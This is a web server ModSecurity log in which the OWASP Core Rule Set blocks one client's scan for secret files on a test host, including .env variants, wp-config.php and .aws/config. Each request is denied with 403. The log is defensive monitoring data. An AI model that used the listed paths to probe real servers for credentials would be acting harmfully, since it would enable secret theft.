[Wed Feb 25 06:04:29.377044 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrQAAAAU&quot;]
[Wed Feb 25 06:04:29.377331 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrQAAAAU&quot;]
[Wed Feb 25 06:04:29.377522 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrQAAAAU&quot;]
[Wed Feb 25 06:04:29.407662 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrgAAAAU&quot;]
[Wed Feb 25 06:04:29.407953 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrgAAAAU&quot;]
[Wed Feb 25 06:04:29.408161 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrgAAAAU&quot;]
[Wed Feb 25 06:04:29.452765 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrwAAAAU&quot;]
[Wed Feb 25 06:04:29.453055 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrwAAAAU&quot;]
[Wed Feb 25 06:04:29.453248 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrwAAAAU&quot;]
[Wed Feb 25 06:04:29.561970 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsAAAAAU&quot;]
[Wed Feb 25 06:04:29.562258 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsAAAAAU&quot;]
[Wed Feb 25 06:04:29.562472 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsAAAAAU&quot;]
[Wed Feb 25 06:04:29.563697 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ6C3fjNQqDNAmB2zjqZZQAAAAY&quot;]
[Wed Feb 25 06:04:29.564056 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ6C3fjNQqDNAmB2zjqZZQAAAAY&quot;]
[Wed Feb 25 06:04:29.564223 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ6C3fjNQqDNAmB2zjqZZQAAAAY&quot;]
[Wed Feb 25 06:04:29.588670 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsQAAAAU&quot;]
[Wed Feb 25 06:04:29.588952 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsQAAAAU&quot;]
[Wed Feb 25 06:04:29.589133 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsQAAAAU&quot;]
[Wed Feb 25 06:04:29.614002 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsgAAAAU&quot;]
[Wed Feb 25 06:04:29.614300 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsgAAAAU&quot;]
[Wed Feb 25 06:04:29.614509 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCsgAAAAU&quot;]
[Wed Feb 25 06:04:29.652799 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCswAAAAU&quot;]
[Wed Feb 25 06:04:29.653090 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCswAAAAU&quot;]
[Wed Feb 25 06:04:29.653291 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCswAAAAU&quot;]
[Wed Feb 25 06:04:29.673903 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ6C3fjNQqDNAmB2zjqZZwAAAAY&quot;]
[Wed Feb 25 06:04:29.674193 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ6C3fjNQqDNAmB2zjqZZwAAAAY&quot;]
[Wed Feb 25 06:04:29.674389 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ6C3fjNQqDNAmB2zjqZZwAAAAY&quot;]
[Wed Feb 25 06:04:29.761981 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCtAAAAAU&quot;]
[Wed Feb 25 06:04:29.762265 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCtAAAAAU&quot;]
[Wed Feb 25 06:04:29.762459 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCtAAAAAU&quot;]
[Wed Feb 25 06:04:29.839947 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCtQAAAAU&quot;]
[Wed Feb 25 06:04:29.840241 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCtQAAAAU&quot;]
[Wed Feb 25 06:04:29.840423 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCtQAAAAU&quot;]
